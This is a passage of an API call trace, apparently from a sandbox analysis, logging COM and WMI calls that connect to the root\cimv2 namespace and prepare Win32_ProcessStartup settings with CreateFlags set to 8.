WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0124.770] WbemDefPath:IUnknown:Release (This=0x655970) returned 0x2 [0124.770] WbemDefPath:IUnknown:Release (This=0x655970) returned 0x1 [0124.770] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0124.770] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0124.770] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x655970) returned 0x0 [0124.770] WbemDefPath:IUnknown:AddRef (This=0x655970) returned 0x3 [0124.770] WbemDefPath:IUnknown:Release (This=0x655970) returned 0x2 [0124.770] WbemDefPath:IWbemPath:SetText (This=0x655970, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0124.770] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655970, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0124.770] WbemDefPath:IWbemPath:GetText (in: This=0x655970, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0124.770] WbemDefPath:IWbemPath:GetText (in: This=0x655970, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0124.770] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0124.770] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0124.770] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0124.770] IUnknown:Release (This=0x6124e8) returned 0x1 [0124.771] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b4d26e0) returned 0x0 [0124.771] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d26e0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0124.771] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4d26e0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b4d2b00) returned 0x0 [0124.771] WbemLocator:IUnknown:Release (This=0x1b4d26e0) returned 0x0 [0124.771] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2b00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b4d2b00) returned 0x0 [0124.771] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2b00, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0124.771] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2b00, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0124.771] WbemLocator:IUnknown:AddRef (This=0x1b4d2b00) returned 0x3 [0124.771] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2b00, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0124.771] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2b00, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0124.771] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2b00, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0124.771] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0124.771] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0124.771] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2b00, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0124.771] WbemLocator:IUnknown:Release (This=0x1b4d2b00) returned 0x2 [0124.771] WbemLocator:IUnknown:Release (This=0x1b4d2b00) returned 0x1 [0124.772] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0124.772] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0124.772] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2b00, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b4d2b00) returned 0x0 [0124.772] WbemLocator:IUnknown:AddRef (This=0x1b4d2b00) returned 0x3 [0124.772] WbemLocator:IUnknown:Release (This=0x1b4d2b00) returned 0x2 [0124.772] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655970, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0124.772] WbemDefPath:IWbemPath:GetText (in: This=0x655970, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0124.772] WbemDefPath:IWbemPath:GetText (in: This=0x655970, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0124.772] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b4d2a60) returned 0x0 [0124.772] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4d2a60, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x1b4ce710) returned 0x0 [0124.793] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce710, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b510eb0) returned 0x0 [0124.793] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b510eb0, pProxy=0x1b4ce710, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0124.793] WbemLocator:IUnknown:Release (This=0x1b510eb0) returned 0x1 [0124.793] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce710, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b510ef8) returned 0x0 [0124.793] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce710, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b510eb0) returned 0x0 [0124.793] WbemLocator:IClientSecurity:SetBlanket (This=0x1b510eb0, pProxy=0x1b4ce710, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0124.796] WbemLocator:IUnknown:Release (This=0x1b510eb0) returned 0x2 [0124.796] WbemLocator:IUnknown:Release (This=0x1b510ef8) returned 0x1 [0124.796] CoTaskMemFree (pv=0x1b461a60) [0124.796] WbemLocator:IUnknown:Release (This=0x1b4d2a60) returned 0x0 [0124.796] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce710, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b510ef8) returned 0x0 [0124.796] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510ef8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0124.797] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510ef8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0124.797] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce710, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0124.798] WbemLocator:IUnknown:AddRef (This=0x1b510ef8) returned 0x3 [0124.798] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510ef8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0124.798] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510ef8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0124.798] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510ef8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b510dd8) returned 0x0 [0124.798] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b510dd8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0124.798] WbemLocator:IUnknown:Release (This=0x1b510dd8) returned 0x3 [0124.798] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0124.798] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0124.798] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510ef8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b510ec0) returned 0x0 [0124.799] WbemLocator:IRpcOptions:Query (in: This=0x1b510ec0, pPrx=0x1b510ef8, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0124.799] WbemLocator:IUnknown:Release (This=0x1b510ec0) returned 0x3 [0124.799] WbemLocator:IUnknown:Release (This=0x1b510ef8) returned 0x2 [0124.799] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0124.799] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0124.799] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510ef8, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x1b4ce710) returned 0x0 [0124.799] WbemLocator:IUnknown:AddRef (This=0x1b4ce710) returned 0x4 [0124.799] WbemLocator:IUnknown:Release (This=0x1b4ce710) returned 0x3 [0124.799] WbemLocator:IUnknown:Release (This=0x1b4ce710) returned 0x2 [0124.799] SysStringLen (param_1=0x0) returned 0x0 [0124.799] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0124.799] WbemLocator:IUnknown:AddRef (This=0x1b510ef8) returned 0x3 [0124.799] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510ef8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b510ef8) returned 0x0 [0124.799] WbemLocator:IUnknown:Release (This=0x1b510ef8) returned 0x3 [0124.799] WbemLocator:IUnknown:Release (This=0x1b510ef8) returned 0x2 [0124.799] WbemDefPath:IWbemPath:GetText (in: This=0x6557f0, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0124.799] WbemDefPath:IWbemPath:GetText (in: This=0x6557f0, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0124.800] IWbemServices:GetObject (in: This=0x1b4ce710, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b4d7c70, ppCallResult=0x0) returned 0x0 [0124.802] IWbemClassObject:Get (in: This=0x1b4d7c70, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0124.802] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0124.802] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0124.802] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0124.802] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0124.802] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0124.802] IUnknown:Release (This=0x6124e8) returned 0x1 [0124.803] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b4d28e0) returned 0x0 [0124.803] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d28e0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0124.803] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d28e0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x6563f0) returned 0x0 [0124.803] WbemDefPath:IUnknown:Release (This=0x1b4d28e0) returned 0x0 [0124.803] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x6563f0) returned 0x0 [0124.803] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0124.803] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0124.803] WbemDefPath:IUnknown:AddRef (This=0x6563f0) returned 0x3 [0124.803] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0124.804] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0124.804] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b4d2c20) returned 0x0 [0124.804] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2c20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0124.804] WbemDefPath:IUnknown:Release (This=0x1b4d2c20) returned 0x3 [0124.804] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0124.804] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0124.804] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0124.804] WbemDefPath:IUnknown:Release (This=0x6563f0) returned 0x2 [0124.804] WbemDefPath:IUnknown:Release (This=0x6563f0) returned 0x1 [0124.804] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0124.804] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0124.804] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x6563f0) returned 0x0 [0124.804] WbemDefPath:IUnknown:AddRef (This=0x6563f0) returned 0x3 [0124.804] WbemDefPath:IUnknown:Release (This=0x6563f0) returned 0x2 [0124.804] WbemDefPath:IWbemPath:SetText (This=0x6563f0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0124.804] IWbemClassObject:Get (in: This=0x1b4d7c70, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27cd198*=0, plFlavor=0x27cd19c*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27cd198*=19, plFlavor=0x27cd19c*=0) returned 0x0 [0124.804] IWbemClassObject:Get (in: This=0x1b4d7c70, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27cd198*=19, plFlavor=0x27cd19c*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27cd198*=19, plFlavor=0x27cd19c*=0) returned 0x0 [0124.805] IWbemClassObject:Put (This=0x1b4d7c70, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0124.805] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6554f0, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0124.805] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0124.805] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0124.805] 